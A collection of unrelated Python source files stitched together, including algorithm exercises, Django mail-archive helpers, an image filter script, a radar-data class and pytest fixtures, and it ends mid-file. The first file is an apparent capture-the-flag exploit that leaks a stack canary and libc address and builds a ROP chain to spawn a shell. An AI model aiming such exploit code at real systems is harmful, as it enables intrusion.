    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

libc = None
def start(argv=[], *a, **kw):
    global libc

    '''Start the exploit against the target.'''
    if args.LOCAL:
        libc = ELF("/lib64/libc.so.6")
        return local(argv, *a, **kw)
    else:
        libc = ELF("scv_libc.so")
        return remote(argv, *a, **kw)

gdbscript = '''
break *0x{exe.entry:x}
continue
'''.format(**locals())

# -- Exploit goes here --
# NX enabled
# Canary enabled
# Partial RELRO
context.terminal = ['gnome-terminal', '-e']
io = start()

prompt = '>>'
buff_size = 168

def recv_prompt():
    io.recvuntil(prompt)

def feed(msg):
    recv_prompt()
    io.sendline("1")
    recv_prompt()
    io.send(msg)

def review_food():
    recv_prompt()
    io.sendline("2")
    io.recvuntil("[*]PLEASE TREAT HIM WELL.....")
    io.recvline()
    io.recvline()

    return io.recvline()

def mine_minerals():
    recv_prompt()
    io.sendline("3")

def leak_stack_cookie():
    feed(cyclic(buff_size) + "X")
    line = review_food().strip()
    cookie = "\x00" + line[169:176]

    return u64(cookie)

def leak_libc():
    sz = buff_size + 16
    feed(cyclic(sz))
    line = review_food().strip()
    addr = line[sz:] + "\x00" * 2
    log.info(addr)

    return unpack(addr) - libc.symbols['__libc_start_main'] - 0xf0

cookie = leak_stack_cookie()
libc_addr = leak_libc()

log.info(hex(cookie))
log.info(hex(libc_addr))

libc.address = libc_addr
rop = ROP(libc)

rop.system(next(libc.search("/bin/sh\x00")))
log.info(rop.dump())

payload = cyclic(buff_size) + p64(cookie) + "junk" * 0x2 + rop.chain()
payload += "\x00" * (248 - len(payload))
log.info(payload)

feed(payload)
mine_minerals()
io.sendline("cat flag")
print (io.recv())


#자 크루스칼로 조져보자!!

# costs=[[0,1,1],[0,2,2],[1,2,5],[1,3,1],[2,3,8]]
# n=4
n=6
costs = [[0, 1, 5], [0, 3, 2], [0, 4, 3], [1, 4, 1], [3, 4, 10], [1, 2, 2], [2, 5, 3], [4, 5, 4]]
# 답 11

costs.sort(key=lambda x:x[2])
print(costs)
route=set([costs[0][0]])
print(route)
answer=0
while len(route)!=n:
    for i,cost in enumerate(costs):
        if cost[0] in route and cost[1] in route:
            #그래프가 만들어지는 조건을이렇게 해결했는데 어떤원리로 돌아가는지 알아보자!!!
            continue
        if cost[0] in route or cost[1] in route:
            route.update([cost[0],cost[1]]) #아 업데이트라는함수가 합집합을만들어서 원본데이터를 갱신하는 메소드이구나
            #이렇게 했다는거 너무 놀랍고,,, 너무멋잇고,,, 감사함니다,,
            print(route)
            answer+=cost[2]
            costs[i]=[-1,-1,-1]
            break
print(answer)

# costs.sort(key=lambda x:x[2])
# print(costs)
# nodeChk=[False for i in range(n)] #노드를 방문했는지 안했는지 체크할 리스트
# minCost=0
# for cost in costs:
#     if nodeChk[cost[0]]==True and nodeChk[cost[1]]==True:#이 조건이 잘못되었네
#         #그래프를만드는 간선이라는 걸 판단하는 조건식을 어뜨케 만들 수 있을까요,,,
#         pass
#     else:
#         nodeChk[cost[0]]=True
#         nodeChk[cost[1]]=True
#         minCost+=cost[2]
#         print(nodeChk)
#         print(minCost)
# print(minCost)


"""
This module contains functions used in views.  We place them here to keep views "skinny"
and facilitate clean unit testing.
"""
from builtins import range

import datetime
import math
import os
import random
import re
import string
import tarfile
import tempfile
from io import BytesIO
from io import StringIO

from django.conf import settings
from django.contrib import messages
from django.forms.formsets import formset_factory
from django.http import HttpResponse
from django.shortcuts import redirect
from django.urls import reverse
from django.utils.encoding import smart_bytes

from mlarchive.archive.forms import RulesForm
from mlarchive.archive.models import EmailList, Message
from mlarchive.archive.utils import get_lists_for_user

contain_pattern = re.compile(r'(?P<neg>[-]?)(?P<field>[a-z]+):\((?P<value>[^\)]+)\)')
exact_pattern = re.compile(r'(?P<neg>[-]?)(?P<field>[a-z]+):\"(?P<value>[^\"]+)\"')

# --------------------------------------------------
# Classes
# --------------------------------------------------

'''
class SearchResult(object):
    def __init__(self, object):
        self.object = object

    @property
    def subject(self):
        return self.object.subject

    @property
    def frm_name(self):
        return self.object.frm_name

    @property
    def date(self):
        return self.object.date
'''

# --------------------------------------------------
# Helper Functions
# --------------------------------------------------

def chunks(l, n):
    """Yield successive n-sized chunks from l"""
    result = []
    for i in range(0, len(l), n):
        # yield l[i:i+n]
        result.append(l[i:i + n])
    return result

def apply_objects(hits):
    '''Add object attribute (Message) to list of hits,
    to simulate Haystack results'''
    for hit in hits:
        hit.object = Message.objects.get(pk=hit.django_id)

# --------------------------------------------------
# View Functions
# --------------------------------------------------

def initialize_formsets(query):
    """Initialize advanced search form formsets based on the query.
    Used when the GET of advanced search includes URL parameters, in other words
    we are returning to modify the search
    """
    RulesFormset0 = formset_factory(RulesForm, extra=0)
    RulesFormset1 = formset_factory(RulesForm, extra=1)

    qinitial = []
    ninitial = []

    while query:
        query = query.lstrip()
        if re.search(contain_pattern, query):
            match = re.search(contain_pattern, query)
            d = {'field': match.groupdict()['field'],
                 'value': match.groupdict()['value'],
                 'qualifier': 'contains'}
            if match.groupdict()['neg']:
                ninitial.append(d)
            else:
                qinitial.append(d)
            query, n = re.subn(contain_pattern, '', query, 1)
        elif re.search(exact_pattern, query):
            match = re.search(exact_pattern, query)
            d = {'field': match.groupdict()['field'],
                 'value': match.groupdict()['value'],
                 'qualifier': 'exact'}
            if match.groupdict()['neg']:
                ninitial.append(d)
            else:
                qinitial.append(d)
            query, n = re.subn(exact_pattern, '', query, 1)
        else:
            query = query[1:]

    if qinitial:
        query_formset = RulesFormset0(prefix='query', initial=qinitial)
    else:
        query_formset = RulesFormset1(prefix='query')
    if ninitial:
        not_formset = RulesFormset0(prefix='not', initial=ninitial)
    else:
        not_formset = RulesFormset1(prefix='not')

    return query_formset, not_formset

def get_columns(request):
    """Returns email lists the user can view, grouped in columns for display.
    columns is a dictionary of lists containing keys: active, inactive, private
    """
    display_columns = 5
    columns = {'private': [], 'active': [], 'inactive': []}
    lists = EmailList.objects.filter(name__in=get_lists_for_user(request.user)).order_by('name')

    private = lists.filter(private=True)
    if private:
        columns['private'] = chunks(private, int(math.ceil(private.count() / float(display_columns))))

    active = lists.filter(active=True, private=False)
    if active:
        columns['active'] = chunks(active, int(math.ceil(active.count() / float(display_columns))))

    inactive = lists.filter(active=False, private=False)
    if inactive:
        columns['inactive'] = chunks(inactive, int(math.ceil(inactive.count() / float(display_columns))))

    return columns

def get_export(search, export_type, request):
    """Process an export request"""

    # don't allow export of huge querysets and skip empty querysets
    count = search.count()
    redirect_url = '%s?%s' % (reverse('archive_search'), request.META['QUERY_STRING'])
    if (count > settings.EXPORT_LIMIT) or (count > settings.ANONYMOUS_EXPORT_LIMIT and not request.user.is_authenticated):  # noqa
        messages.error(request, 'Too many messages to export.')
        return redirect(redirect_url)
    elif count == 0:
        messages.error(request, 'No messages to export.')
        return redirect(redirect_url)

    search = search.params(preserve_order=True)
    results = list(search.scan())
    apply_objects(results)
    if export_type == 'url':
        return get_export_url(results, export_type, request)
    else:
        return get_export_tar(results, export_type, request)

def get_export_url(results, export_type, request):
    """Return file containing URLs of all messages in query results"""
    content = []
    for result in results:
        url = result.object.get_absolute_url()
        content.append(request.build_absolute_uri(url))
    return HttpResponse('\n'.join(content), content_type='text/plain')

def get_export_tar(results, export_type, request):
    """Returns a tar archive of messages

    sqs is SearchQuerySet object, the result of a search, and type is a string
    (mbox|maildir) the type of file to export.  It compiles messages from the queryset
    to the appropriate mail box type, in a zipped tarfile.  The function returns the
    tarfile, with seek(0) to reset for reading, and the filename as a string.
    """
    tardata = BytesIO()
    tar = tarfile.open(fileobj=tardata, mode='w:gz')
    basename = get_random_basename(prefix=export_type)
    filename = basename + '.tar.gz'

    if export_type == 'maildir':
        tar = build_maildir_tar(results, tar, basename)
    elif export_type == 'mbox':
        tar = build_mbox_tar(results, tar, basename)

    tar.close()
    tardata.seek(0)

    response = HttpResponse(tardata.read())
    response['Content-Disposition'] = 'attachment; filename=%s' % filename
    response['Content-Type'] = 'application/x-tar-gz'
    tardata.close()
    return response

def get_random_basename(prefix):
    """Returns a string [prefix][date]_[random characters]"""
    chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + '_'
    rand = ''.join(random.choice(chars) for x in range(5))
    now = datetime.datetime.now()
    return '{prefix}{date}_{random}'.format(
        prefix=prefix,
        date=now.strftime('%m%d'),
        random=rand
    )

def get_random_token(length=32):
    return ''.join([random.choice(string.ascii_letters + string.digits) for n in range(length)])

def build_maildir_tar(results, tar, basename):
    """Returns tar file with messages from SearchQuerySet in maildir format"""
    for result in results:
        arcname = os.path.join(basename, result.object.email_list.name, result.object.hashcode)
        tar.add(result.object.get_file_path(), arcname=arcname)
    return tar

def build_mbox_tar(results, tar, basename):
    """Returns tar file with messages from SearchQuerySet in mmox format.
    There are various problems adding non-file objects (ie. StringIO) to tar files
    therefore the mbox files are first built on disk
    """
    mbox_date = results[0].object.date.strftime('%Y-%m')
    mbox_list = results[0].object.email_list.name
    fd, temp_path = tempfile.mkstemp()
    mbox_file = os.fdopen(fd, 'wb')
    for result in results:
        date = result.object.date.strftime('%Y-%m')
        mlist = result.object.email_list.name
        if date != mbox_date or mlist != mbox_list:
            mbox_file.close()
            tar.add(temp_path, arcname=os.path.join(basename,
                                                    mbox_list,
                                                    mbox_date + '.mbox'))
            os.remove(temp_path)
            fd, temp_path = tempfile.mkstemp()
            mbox_file = os.fdopen(fd, 'wb')
            mbox_date = date
            mbox_list = mlist

        with open(result.object.get_file_path(), 'rb') as input:
            # add envelope header if missing
            if not input.read(5) == b'From ':
                from_line = smart_bytes(result.object.get_from_line()) + b'\n'
                mbox_file.write(from_line)
            input.seek(0)
            mbox_file.write(input.read())
            mbox_file.write(b'\n')

    mbox_file.close()
    tar.add(temp_path, arcname=os.path.join(basename,
                                            mbox_list,
                                            mbox_date + '.mbox'))
    os.remove(temp_path)
    return tar

def get_message_index(response, message):
    """Returns the index of message in search response, -1 if not found"""
    for n, result in enumerate(response):
        if result.object == message:
            return n
    return -1

def get_message_before(response, index):
    """Returns message of search response before index or None"""
    if index == 0:
        return None
    else:
        return response[index - 1].object

def get_message_after(response, index):
    """Returns next message of search response after index or None"""
    try:
        return response[index + 1].object
    except IndexError:
        return None

def get_query_neighbors(search, message):
    """Returns a tuple previous_message and next_message given a message
    from the query results"""
    response = search.execute()
    apply_objects(response)
    index = get_message_index(response, message)
    if index == -1:
        return None, None
    else:
        return get_message_before(response, index), get_message_after(response, index)

def get_query_string(request):
    """Returns the query string from the request, including '?' """
    return '?' + request.META['QUERY_STRING']


class Solution:
    def countPoints(self, rings: str) -> int:
        hashmap = {}
        threeColorRods = 0
        for i in range(0,len(rings),2):
            if rings[i+1] not in hashmap:hashmap[rings[i+1]]=[rings[i]]
            else:
                if rings[i] not in hashmap[rings[i+1]]:hashmap[rings[i+1]].append(rings[i])
                else:continue
        print(hashmap)
        for val in hashmap.values():
            if len(val)==3:threeColorRods+=1
        return threeColorRods


from collections import deque

tunnel = [[],
          [[0,1],[1,0],[0,-1],[-1,0]],
          [[0,1],[0,-1]],
          [[1,0],[-1,0]],
          [[1,0],[0,-1]],
          [[1,0],[0,1]],
          [[-1,0],[0,1]],
          [[-1,0],[0,-1]]]

def BFS(point):
    global l
    q = deque()
    visited = [[False]*m for _ in range(n)]
    q.append((point[0],point[1],1))
    visited[point[1]][point[0]] = True
    total = 1
    while q:
        x,y,cc = q.popleft()
        if cc >= l: break
        d = arr[y][x]
        for dx,dy in tunnel[d]:
            px,py = x+dx,y+dy
            if not (0 <= px < m and 0 <= py < n): continue
            if arr[py][px] > 0 and not visited[py][px]:
                dd = arr[py][px]
                flag = False
                for ddx,ddy in tunnel[dd]:
                    ppx,ppy = px+ddx,py+ddy
                    if ppx == x and ppy == y:
                        flag = True
                        break
                if flag:
                    visited[py][px] = True
                    q.append((px,py,cc+1))
                    total += 1
    return total

t = int(input())
for test in range(1, t+1):
    n,m,r,c,l = map(int, input().split())
    arr = [list(map(int, input().split())) for _ in range(n)]
    res = 0
    if l == 1:
        res = 1
    elif l > 1:
        res = BFS((c,r))

    print("#{} {} ".format(test,res))

1953_[모의SW역량테스트]탈주범검거.py


t = int(input())

for _ in range(t):
    a, b = map(int, input().split())

    low, high = 1, a + b

    while low <= high:
        mid = low + (high - low) // 2

        if mid * 4 > a + b:
            high = mid - 1

        else:
            low = mid + 1

    temp = high

    if min(a, b) >= temp:
        res = temp

    else:
        res = min(a, b)
    print(res)


import cv2
import matplotlib.pyplot as plt
import numpy as np
import argparse
import time
from PIL import Image
from gaussian_kernel import gaussian_filter
from bilateral_filter import bilateral_filter
from non_max_suppression import non_max_suppression
from double_threshold import threshold
from edge_tracking import hysteresis
from edge_2 import edge_mask

def get_args():
    parser = argparse.ArgumentParser(description='Fine Art Portrait')
    parser.add_argument('--image', '-i', default='image.png', metavar='FILE', help='Specify the image that will be processed')
    parser.add_argument('--output', '-o', default='image.png', metavar='FILE', help='Specify the processed image output name and location')
    return parser.parse_args()

if __name__ == '__main__':
    args = get_args()
    image = args.image
    out_image = args.output

    image = cv2.imread(f'{image}',1)

    #resize image
    scale_percent = 20 # percent of original size
    width = int(image.shape[1] * scale_percent / 100)
    height = int(image.shape[0] * scale_percent / 100)
    dim = (width, height)
    resized = cv2.resize(image, dim, interpolation = cv2.INTER_AREA)
    gray_img = cv2.cvtColor(resized, cv2.COLOR_BGR2GRAY)

    #gaussian filter
    gaussian_kernel = gaussian_filter(11,1)
    gaussian_blur = cv2.filter2D(gray_img,-1,gaussian_kernel)
    gaussian_blur = np.float64(gaussian_blur)

    #sobel filter
    horizon_kernel = np.array([[-1,0,1],[-2,0,2],[-1,0,1]],np.float64)
    vertical_kernel = np.array([[1,2,1],[0,0,0],[-1,-2,-1]],np.float64)
    horizon_conv = cv2.filter2D(gaussian_blur,-1,horizon_kernel)
    vertical_conv = cv2.filter2D(gaussian_blur,-1,vertical_kernel)
    gradient_mag = np.hypot(horizon_conv,vertical_conv)
    gradient_mag = gradient_mag/gradient_mag.max() * 255
    gradient_theta = np.rad2deg(np.arctan2(vertical_conv,horizon_conv))

    #nms
    gradient_nms = non_max_suppression(gradient_mag,gradient_theta)

    #double threshold
    non,weak,strong = threshold(gradient_nms)

    #edge tracking by hysteresis
    edge = hysteresis(non,weak,strong=255)
    edge = np.array(edge,dtype=np.uint8)
    (thresh, im_bw) = cv2.threshold(edge, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
    edge = cv2.bitwise_not(im_bw) #reverse 0 and 255

    #different edge
    line_size = 7
    blur_value = 7
    edge_2 = edge_mask(resized, line_size, blur_value)
    #bilateral filter on original image
    start = time.time()
    mat = bilateral_filter(resized,radius=5,sigma_color=15,sigma_space=10)
    end = time.time()
    print('processing time = {} min {} s'.format(int((end - start) / 60), int((end - start) % 60)))
    cv2.imwrite('/home/will/cv_course/bf_2.png',mat)
    #bitwise_and operation
    cartoon=cv2.bitwise_and(mat,mat,mask=edge)
    cartoon_2 = cv2.bitwise_and(mat,mat,mask=edge_2)

    plt.figure(figsize=(10, 10))
    plt.suptitle('Fine Art Portrait')
    plt.subplot(2, 2, 1), plt.title('Original Image')
    plt.imshow(cv2.cvtColor(resized, cv2.COLOR_BGR2RGB)), plt.axis('off')
    plt.subplot(2, 2, 2), plt.title('my bilateral filter')
    plt.imshow(cv2.cvtColor(mat, cv2.COLOR_BGR2RGB)), plt.axis('off')
    plt.subplot(2, 2, 3), plt.title('Fine Art Portrait with Canny')
    plt.imshow(cv2.cvtColor(cartoon, cv2.COLOR_BGR2RGB)), plt.axis('off')
    plt.subplot(2, 2, 4), plt.title('Fine Art Portrait with AdaptiveThreshold')
    plt.imshow(cv2.cvtColor(cartoon_2, cv2.COLOR_BGR2RGB)), plt.axis('off')

    plt.show()


# 어떤수 N이 1이 될 때까지 다음의 두 과정 중 하나를 반복적으로 선택하여 수행하려고 한다.
# 단, 두 번째 연산은 N이 K로 나누어떨어질 때만 선택할 수 있다.
#
# 1. N에서 1을 뺀다.
# 2. N을 K로 나눈다.
# ex)
#   N = 17, K = 4라고 가정
#   1번 수행 N = 16 이후 2번의 과정을 두 번 수행하면 N =1 된다.
#   전체 수행횟수는 3이된다. 이는 N을 1로 만드는 최소 횟수이다.
#
# 입력조건 : N과 K가 공백으로 구분되며 각각 자연수로 주어진다. 이때 입력으로 주어지는 N은 항상 K보다 크거나 같다.
# 출력조건 : 첫째줄에 N이 1이 될 떄까지 1번 혹은 2번의 과정을 수행해야 하는 횟수의 최솟값을 출력한다.

n,k = map(int,input().split())

result = 0
while (n>=k) :
    if n/k != 0 :
        n = n-1
        result += 1
        print(n,"",result)

    n = n/k
    result += 1
    print(n,"",result)
print(result)


""" Composite radar archive data from mesonet.agron.iastate.edu.
"""
import os
import pdb
import calendar
import time
import glob
import datetime

import scipy
import numpy as N
from mpl_toolkits.basemap import Basemap
import cartopy.crs as ccrs
import numpy as N

from evac.datafiles.wrfout import WRFOut
from evac.utils.defaults import Defaults

from evac.datafiles.pngfile import PNGFile
import evac.utils as utils
import evac.plot.colourtables as ct
from evac.plot.birdseye import BirdsEye
from evac.datafiles.obs import Obs
from evac.utils.grid import Grid

class Radar(PNGFile,Obs):
    """ Radar data download, manipulation, and plotting via :any:`evac.plot.birdseye`.

    This uses composite reflectivity data stored on Iowa State Univ.
    servers. Radar refers to one .wld and one .png file. For a group, use ObsGroup.
    User should specify either fpath to the .png file (when the data has
    already been downloaded), or fdir and utc (Radar will look up the files, and if
    not present, the data is downloaded).

    Example:
        Acquire and plot radar data on a limited domain::

            from evac.datafiles.radar import Radar
            import datetime

            utc = datetime.datetime(2017,4,4,21,30,0)
            limdict = dict(Nlim=45.0,Elim=-90.0,Slim=35.0,Wlim=-100.0)
            radardir = '/path/to/radar/data'

            fig,ax = plt.subplots(1)
            R = Radar(radardir,utc=utc)
            R.get_subdomain(**limdict,overwrite=True)
            R.plot_radar(fig=fig,ax=ax,drawcounties=True)
            fig.savefig('/path/to/save.png')

    Todos:
        * Remove redundant basemap generation method and integrate with
            any new cartopy plotting scripts in :any:`evac.plot.birdseye`.
        * Downloading appears to be broken

    Args:
        fpath: Absolute path to (a) folder with radar data or
            (b) .png file containing data (in same directory
            as .wld file, with same naming scheme)
        utc (datetime.datetime): Time of radar data in UTC.
        proj: Projection for plotting.
    """
    def __init__(self,fpath,utc=None,proj='merc'):
        self.proj = proj

        # The _root attributes do not have an extension (.png, .wld)
        if fpath.endswith('.png'):
            utils.wowprint("Looking for radar **data file**.")
            self.fpath_png = fpath
            self.fpath_root = fpath[:-4]
            self.fname_root = os.path.basename(fpath)[:-4]
            self.fdir = os.path.dirname(self.fpath_png)
            self.utc = self.date_from_fname(self.fpath_png)
            self.fmt = self.get_fmt()
        else:
            utils.wowprint("About to **download** radar data file.")
            self.fdir = fpath
            assert utc is not None
            self.utc = utc
            self.fmt = self.get_fmt()
            self.fname_root = self.get_radar_fname()
            self.fname_png = self.fname_root + '.png'
            self.fpath_root = os.path.join(self.fdir,self.fname_root)
            self.fpath_png = self.fpath_root + '.png'

            self.download_data()

        # This is to maintain API with ObsGroup etc
        self.fpath = self.fpath_png

        self.fpath_wld = self.fpath_root + '.wld'

        data = scipy.ndimage.imread(self.fpath_png,mode='P')
        self.data = N.flipud(data)

        self.xlen, self.ylen, = self.data.shape

        # Metadata
        if not os.path.exists(self.fpath_wld):
            self.download_data(ext='.wld')
        if not os.path.exists(self.fpath_png):
            self.download_data(ext='.png')

        f = open(self.fpath_wld,'r').readlines()

        # pixel size in the x-direction in map units/pixel
        self.xpixel = float(f[0])

        # rotation about y-axis
        self.roty = float(f[1])

        # rotation about x-axis
        self.rotx = float(f[2])

        # pixel size in the y-direction in map units,
        self.ypixel = float(f[3])

        # x-coordinate of the center of the upper left pixel
        self.ulx = float(f[4])

        # y-coordinate of the center of the upper left pixel
        self.uly = float(f[5])

        # lower right corner
        self.lrx = self.ulx + self.ylen*self.xpixel
        self.lry = self.uly + self.xlen*self.ypixel

        if self.fmt == 'n0r':
            self.clvs = N.arange(0,80,5)
        elif self.fmt == 'n0q':
            self.clvs = N.arange(0,90.0,0.5)
        # import pdb; pdb.set_trace()

        # self.lats1D = N.linspace(self.lry,self.uly,self.xlen)[::-1]
        self.lats1D = N.linspace(self.lry,self.uly,self.xlen)
        self.lons1D = N.linspace(self.ulx,self.lrx,self.ylen)
        self.lons, self.lats = N.meshgrid(self.lons1D,self.lats1D)
        # self.lats, self.lons = N.meshgrid(self.lats1D,self.lons1D)
        assert self.data.shape == self.lats.shape

        self.grid = Grid(self)
        self.dBZ = self.get_dBZ()

    def download_data(self,ext='both'):
        if ext == 'both':
            exts = ('.png','.wld')
        else:
            exts = (ext,)
        for ex in exts:
            url = self.get_radar_url(utc=self.utc)
            fname_root = self.get_radar_fname(utc=self.utc)
            urlf = os.path.join(url,fname_root+ex)
            dest_fpath = os.path.join(self.fdir,self.fname_root+ex)
            cmd1 = 'wget {0} -O {1}'.format(urlf,dest_fpath)
            os.system(cmd1)
            time.sleep(3)
        return

    def get_fmt(self):
        tt = utils.ensure_timetuple(self.utc)
        self.tt = tt

        # Date for format change
        change = (2010,10,25,0,0,0)

        if tt[0] < 1995:
            print("Too early in database.")
            raise Exception
        elif calendar.timegm(tt) < calendar.timegm(change):
            return 'n0r'
        else:
            return 'n0q'

    def get_radar_fname(self,utc=None):
        if utc is None:
            utc = self.utc

        # Assume get_fmt has been run, and self.fmt exists
        fname = '{0}_{1:04d}{2:02d}{3:02d}{4:02d}{5:02d}'.format(
                    self.fmt,*self.tt)
        return fname

    @staticmethod
    def get_radar_url(utc):
        dt = utils.ensure_timetuple(utc)
        return ('mesonet.agron.iastate.edu/archive/data/'
                '{0:04d}/{1:02d}/{2:02d}/GIS/uscomp/'.format(*dt))

    def generate_basemap(self,fig=None,ax=None,Nlim=False,Elim=False,Slim=False,
                            Wlim=False):
        """
        Generate basemap.

        """
        if fig or ax:
            self.fig = fig
            self.ax = ax
        if not isinstance(Nlim,float):
            Nlim = self.uly
            Elim = self.lrx
            Slim = self.lry
            Wlim = self.ulx

        self.m = Basemap(projection='merc',
                    llcrnrlat=Slim,
                    llcrnrlon=Wlim,
                    urcrnrlat=Nlim,
                    urcrnrlon=Elim,
                    lat_ts=(Nlim-Slim)/2.0,
                    resolution='l')
        # self.m.drawcoastlines()
        # self.m.drawstates()
        # self.m.drawcountries()
        return self.m

    def __get_subdomain(self,Nlim,Elim,Slim,Wlim,overwrite=False):
        """
        This has now been moved to superclass Obs.
        Return data array between bounds

        If overwrite is True, replace class data with new subdomain
        """
        data,lats,lons = utils.return_subdomain(self.data,self.lats,
                                self.lons,Nlim,Elim,Slim,Wlim)

        if overwrite:
            self.lats = lats
            self.lons = lons
            self.data = data
            return
        else:
            return data,lats,lons

    def get_dBZ(self,data='self'):
        if data == 'self':
            data = self.data

        # pdb.set_trace()
        if self.fmt == 'n0q':
            dBZ = (data*0.5)-32
            # dBZ = (data*0.25)-32
        elif self.fmt == 'n0r':
            dBZ = (data*5.0)-30
        return dBZ

    def get(self,*args,**kwargs):
        """Wrapper for get_dBZ.
        """
        return self.get_dBZ(*args,**kwargs)

    def plot(self,*args,**kwargs):
        """ Wrapper for plot_radar.
        """
        ret = self.plot_radar(*args,**kwargs)
        return ret

    @staticmethod
    def date_from_fname(f,fullpath=False):
        if fullpath or f.startswith('/'):
            f = os.path.basename(f)
        fn, _ext = f.split('.')
        n0q,d = fn.split('_')
        fmt = '%Y%m%d%H%M'
        utc = datetime.datetime.strptime(d,fmt)
        return utc

    def plot_radar(self,outdir=False,fig=False,ax=False,fname=False,Nlim=False,
                    Elim=False, Slim=False,Wlim=False,cb=True,
                    drawcounties=False,save='auto'):
        """
        Plot radar data.

        Args:

        save        :   (str,bool) - If 'auto', saving will only occur if
                        fig and ax are not specified.
                        If True, the figure is saved; if False, not.
        """
        # if not fig:
            # fig, ax = plt.subplots()
        # self.generate_basemap(fig,ax,Nlim,Elim,Slim,Wlim)
        #lons, lats = self.m.makegrid(self.xlen,self.ylen)
        if isinstance(Nlim,float):
            data, lats, lons = self.get_subdomain(Nlim,Elim,Slim,Wlim)
        else:
            data = self.data
            lats = self.lats #flip lats upside down?
            lons = self.lons
            # x,y = self.m(*N.meshgrid(lons,lats))

        # xx,uy = self.m(lons,lats)
        # x,y = self.m(*N.meshgrid(lons,lats))
        # x,y = self.m(*N.meshgrid(lons,lats[::-1]))

        # Custom colorbar
        radarcmap = ct.reflect_ncdc(self.clvs)
        # radarcmap = ct.ncdc_modified_ISU(self.clvs)

        # Convert pixel levels to dBZ
        dBZ = self.get_dBZ(data)

        # dBZ[dBZ<0] = 0

        # def plot2D(self,data,fname,outdir,plottype='contourf',
                    # save=1,smooth=1,lats=False,lons=False,
                    # clvs=False,cmap=False,title=False,colorbar=True,
                    # locations=False):
        if not fname:
            tstr = utils.string_from_time('output',self.utc)
            fname = 'verif_radar_{0}.png'.format(tstr)
        F = BirdsEye(fig=fig,ax=ax,proj=self.proj)
        if cb:
            cb = 'horizontal'
        if save is 'auto':
            if (fig is not False) and (ax is not False):
                save = False
            else:
                save = True
        F.plot2D(dBZ,fname,outdir=outdir,lats=lats,lons=lons,
                    cmap=radarcmap,clvs=N.arange(5,90,5),
                    cb=cb,cblabel='Composite reflectivity (dBZ)',
                    drawcounties=drawcounties,save=save,lat_ts=50.0,)
        # im = self.ax.contourf(x,y,dBZ,alpha=0.5,cmap=radarcmap,
                                # levels=N.arange(5.0,90.5,0.5))
        # outpath = os.path.join(outdir,fname)
        # self.fig.colorbar(im,ax=self.ax)
        # self.fig.savefig(outpath)


my_dict = {
    1: 'AEIOULNSTRАВЕИНОРСТ',
    2: 'DGДКЛМПУ',
    3: 'BCMPБГЁЬЯ',
    4: 'FHVWYЙЫ',
    5: 'KЖЗХЦЧ',
    8: 'JXШЭЮ',
    10: 'QZФЩЪ'
}

my_word = (input('Введите слово на английском или русском: ')).upper()
points = 0

for i in range(len(my_word)):
    for key in my_dict:
        if (my_word[i] in my_dict[key]):
            points += key

print(my_word)
print(points)


import pytest
from box import Box
import common.database as D
import common.models as M

@pytest.fixture
def tags(db, u):
    t = Box({})
    for k, user in u.items():
        t1 = M.Tag(name=f"tag_{k}_user")
        t2 = M.Tag(name=f"tag_{k}_group")
        t[k] = dict(user=t1, group=t2)
        db.add_all([t1, t2])
        db.commit()
        db.refresh(t1);db.refresh(t2)
    return t

@pytest.fixture
def with_entries(db, u, tags):
    for k, user in u.items():
        t = tags[k]
        for i in range(3):
            e = M.Entry(text=f"entry_{k}_user", user=user)
            et = M.EntryTag(tag=t.user, entry=e)
            db.add(et)
        for i in range(2):
            e = M.Entry(text=f"entry_{k}_group", user=user)
            et = M.EntryTag(tag=t.group, entry=e)
            db.add(et)
    db.commit()

def test_private(db, u, with_entries):
    for k, user in u.items():
        entries = db.query(M.Entry).filter_by(user_id=user.id).all()
        assert len(entries) == 5
        for e in entries:
            assert e.text.startswith(f"entry_{k}")

@pytest.fixture
def with_groups(db, u):
    """
    user1->group1
    user2->group1, group2

    user5->group2
    """
    g1 = M.Group(owner=u.user1, title=f"group1", text_short=f"text_short_group1")
    g2 = M.Group(owner=u.user2, title=f"group2", text_short=f"text_short_group2")
    db.add(M.UserGroup(user=u.user1, group=g1))
    db.add(M.UserGroup(user=u.user2, group=g1))
    db.add(M.UserGroup(user=u.user2, group=g2))
    db.add(M.UserGroup(user=u.user5, group=g2))
    db.commit()
    return Box(g1=g1, g2=g2)

def share_users(db, u, tags, users=False, groups=False):
    """
    user1-> [user2] [group1]
    user2-> None [group1 group2]

    user3-> [user4] None
    user4-> [user3] None

    user5-> None [group2]
    """
    s = M.Share(user=u.user1)
    db.add(M.ShareTag(share=s, tag=tags.user1.user))
    if users:
        db.add(M.ShareUser(share=s, obj=u.user2))
    if groups:
        db.add(M.ShareGroup(share=s, obj=groups.g1))

    s = M.Share(user=u.user3)
    db.add(M.ShareTag(share=s, tag=tags.user3.user))
    if users:
        db.add(M.ShareUser(share=s, obj=u.user4))

    s = M.Share(user=u.user4)
    db.add(M.ShareTag(share=s, tag=tags.user4.user))
    if users:
        db.add(M.ShareUser(share=s, obj=u.user3))

    db.commit()

# @pytest.mark.parametrize("user", [
#     Box(k='user1', users=True, groups=False, users_ct=0, groups_ct=0),
#     Box(k='user1', users=True, groups=True, users_ct=0, groups_ct=4),
#     Box(k='user2', users=True, groups=False, users_ct=3, groups_ct=0),
#     Box(k='user2', users=True, groups=True, users_ct=3, groups_ct=4),
#     Box(k='user3', users=True, groups=True, users_ct=3, groups_ct=4),
# ])

def test_user_shares(db, u, with_shared):
    # user1 private
    res = M.Entry.snoop(db, u.user1.id, None).all()
    assert len(res) == 5
    for e in res:
        assert e.text.startswith(f"entry_user1")

    # user1->user2
    res = M.Entry.snoop(db, u.user1.id, u.user2.id).all()
    assert len(res) == 0

    # user2->user1
    res = M.Entry.snoop(db, u.user2.id, u.user1.id).all()
    assert len(res) == 3  # 3 shared entry-tags
    for e in res:
        assert e.text.startswith(f"entry_user1")

def test_ingress(db, u, with_shared):
    res = M.Share.ingress(db, u.user1.id)
    assert len(res) == 0

    res = M.Share.ingress(db, u.user2.id)
    assert len(res) == 1
    assert res[0]['user'].id == u.user1.id

def test_egress(db, u, with_shared):
    res = M.Share.egress(db, u.user1.id)
    assert len(res) == 1
    assert res[0]['users'][0] == u.user2.email

    res = M.Share.egress(db, u.user2.id)
    assert len(res) == 0


# encoding: utf-8

class Table(object):
    def config_db(self, pkg):
        tbl = pkg.table('dvd', pkey='id', name_long='!!Dvd',
                        name_plural='!!Dvd')
        tbl.column('id', size='22', group='_', readOnly='y', name_long='Id')
        tbl.column('movie_id', size='22', name_short='Mid',
